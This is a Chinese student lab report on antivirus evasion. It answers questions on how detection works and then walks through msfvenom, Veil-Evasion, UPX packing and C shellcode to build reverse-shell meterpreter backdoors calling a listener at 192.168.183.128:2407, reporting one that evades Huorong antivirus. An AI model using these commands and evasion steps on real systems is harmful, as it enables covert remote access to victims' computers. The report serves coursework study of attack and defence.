1.实验内容
实践内容
(1)正确使用msf编码器,veil-evasion,自己利用shellcode编程等免杀工具或技巧
-
正确使用msf编码器,使用msfvenom生成如jar之类的其他文件
-
veil,加壳工具
-
使用C + shellcode编程
(2)通过组合应用各种技术实现恶意代码免杀
如果成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图。
(3)用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
实验要求
-
掌握免杀原理与技术
-
回答问题
(1)杀软是如何检测出恶意代码的?
1. 特征码检测:杀软厂商会提取已知恶意代码的 “指纹”,即一段唯一的二进制特征码,存入特征库。扫描时,杀软会将电脑中的文件与特征库比对,一旦匹配就判定为恶意代码。
2. 行为分析:当程序出现异常操作时,如修改系统关键文件、私自联网发送数据、创建大量可疑进程,杀软会触发警报。
3. 启发式扫描:杀软会根据已知恶意代码的行为模式,建立一套判断规则。扫描时,若程序符合 “恶意行为特征” 的概率超过阈值,即使没有特征码匹配,也会被标记为可疑文件。
(2)免杀是做什么?
免杀是通过技术手段伪装恶意代码,让杀毒软件无法识别,从而绕过检测并在目标设备上运行的行为。
其核心思路围绕对抗杀软的检测方式展开:修改恶意代码的特征码,避开 “特征码检测”。伪装恶意行为,比如延迟操作,躲避 “行为分析”。调整代码结构,降低被 “启发式扫描” 判定为可疑的概率。
(3)免杀的基本方法有哪些?
1. 特征码修改
加壳 / 混淆:给恶意代码套上一层 “外壳” 或打乱代码结构,改变其表面特征码,常见工具有 UPX、Themida。
代码重写:修改恶意代码中非核心功能的代码片段,比如替换变量名、调整语句顺序,不影响功能但改变特征。
多态 / 变形:让恶意代码每次传播时自动改变部分代码结构,生成不同特征码,避免被单一特征码识别。
2. 行为伪装
延迟执行:恶意代码启动后不立即触发恶意行为,等待一段时间或特定条件(如用户操作后)再运行,避开实时监控。
模拟正常行为:伪装成合法程序的操作,比如模仿浏览器联网、办公软件读写文件,降低行为异常度。
权限绕过:通过低权限操作实现恶意目的,或暂时关闭杀软的监控模块(需特定漏洞),减少行为暴露。
3. 规避扫描
内存加载:恶意代码不落地生成文件,直接在内存中运行,避免被文件扫描检测到。
利用白名单:将恶意代码注入到杀软信任的合法程序(如系统进程、常用软件)中,借助白名单绕过扫描。
分段执行:将恶意代码拆分成多个片段,分开传输或加载,单个片段不具备恶意特征,组合后才触发功能。
2.实验过程
一.正确使用msf编码器,veil-evasion,自己利用shellcode编程等免杀工具或技巧
1.正确使用msf编码器,使用msfvenom生成如jar之类的其他文件
免杀检测
1.参考实验二Exp2-后门原理与实践中的第三个小实验,在Kali上用msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.183.128 LPORT=2407 -f exe > 20232407_backdoor_1.exe生成针对Windows的毒化后门可执行程序20232407_backdoor_1.exe

2.放入VirusTotal中进行扫描

71款杀软中57款报出了病毒,不加处理的后门程序能被大部分的杀软检测到
3.使用msf编码器多次迭代,生成exe文件
-
编码会降低检出率,理论上讲多编码几次,可降低被检测出的可能性
-
一次编码使用命令:
-e选择编码器,-b是payload中需要去除的字符,该命令中为了使'\x00'不出现在shellcode中,因为shellcode以'\x00'为结束符
在Kali中输入如下命令
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' LHOST=192.168.183.128 LPORT=2407 -f exe > 20232407exp3.exe

用VirusTotal检测还是能检测出问题

4.加入多次编码参数-i,继续尝试

放入VirusTotal查杀还是会检测出病毒

以上步骤说明简单的多次编码无法实现免杀
生成jar格式的后门文件
在kali中输入msfvenom -p java/shell_reverse_tcp LHOST=192.168.183.128 LPORT=2407 -f jar > exp3_jar.jar

病毒检测

有38个机构检测出病毒
生成php格式的后门文件
使用如下命令生成php格式的后门文件
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.183.128 LPORT=2407 x> 20232407exp3.php

病毒检测

检测出病毒的机构变少了
2.使用veil,加壳工具
安装完veil后,输入veil进入veil命令行

使用veil-evasion生成后门程序及检测
用use evasion命令进入Veil-Evasion

输入命令use c/meterpreter/rev_tcp.py进入配置界面

设置IP和端口set LHOST 192.168.183.128和set LPORT 2407

输入generate生成文件,接着输入命名,如:20232407_veil

通过VirusTotal检测,仍能被37个机构检测出病毒

对后门进行加壳处理
使用命令upx 20232407_veil.exe -o 20232407exp3veils.exe进行加壳

再次检测,发现基本没有太大变化

3.使用C + shellcode编程
通过命令用msf生成一段shellcode
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.183.128 LPORT=2407 -f c

将攻击代码写进C语言exp3.c

使用i686-w64-mingw32-g++ exp3.c -o exp3_c.exe编译成可执行文件

再次进行检测,检出率还是有所下降的

二.通过组合应用各种技术实现恶意代码免杀
利用python+aes_encrypt
打开veil,选择Evasion

输入list,找到攻击代码

输入use python/shellcode_inject/aes_encrypt.py

输入generate,并选择2

进行配置,输出到路径/usr/share/veil/
再次检测,发现检测病毒几乎没有

不能完全免杀的原因:使用的加密方式有效隐藏了原始 shellcode 的恶意特征,因此多数厂商的静态特征库无法识别。
三.用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
电脑环境:win11主机
杀毒引擎:火绒
杀软版本:6.0.7.14
木马库版本时间:2025.10.25
先对上述实验生成20232407_veil.exe用upx命令进行加壳,然后根据实验二的步骤利用ncat传到主机中


杀软扫描没任何问题

3.问题及解决方案
- 问题1:无法下载veil,第一次安装时会显示报错找不到autoit文件
- 问题1解决方案:报错后紧接着在命令行中输入
/usr/share/veil/config/setup.sh --force --silent,即可自动修复错误.
4.学习感悟、思考
通过这次实验,从nc连不通到Meterpreter拿到Shell,踩了版本不兼容、杀软拦截、权限不足的坑,才懂“理论易,实操难”。免杀要改代码避特征,注入需调编译参数,让我明白攻击靠细节,防御更要防微杜渐。现在不敢乱点不明文件,也懂了安全不是装杀软就够,得从技术原理到使用习惯全面警惕。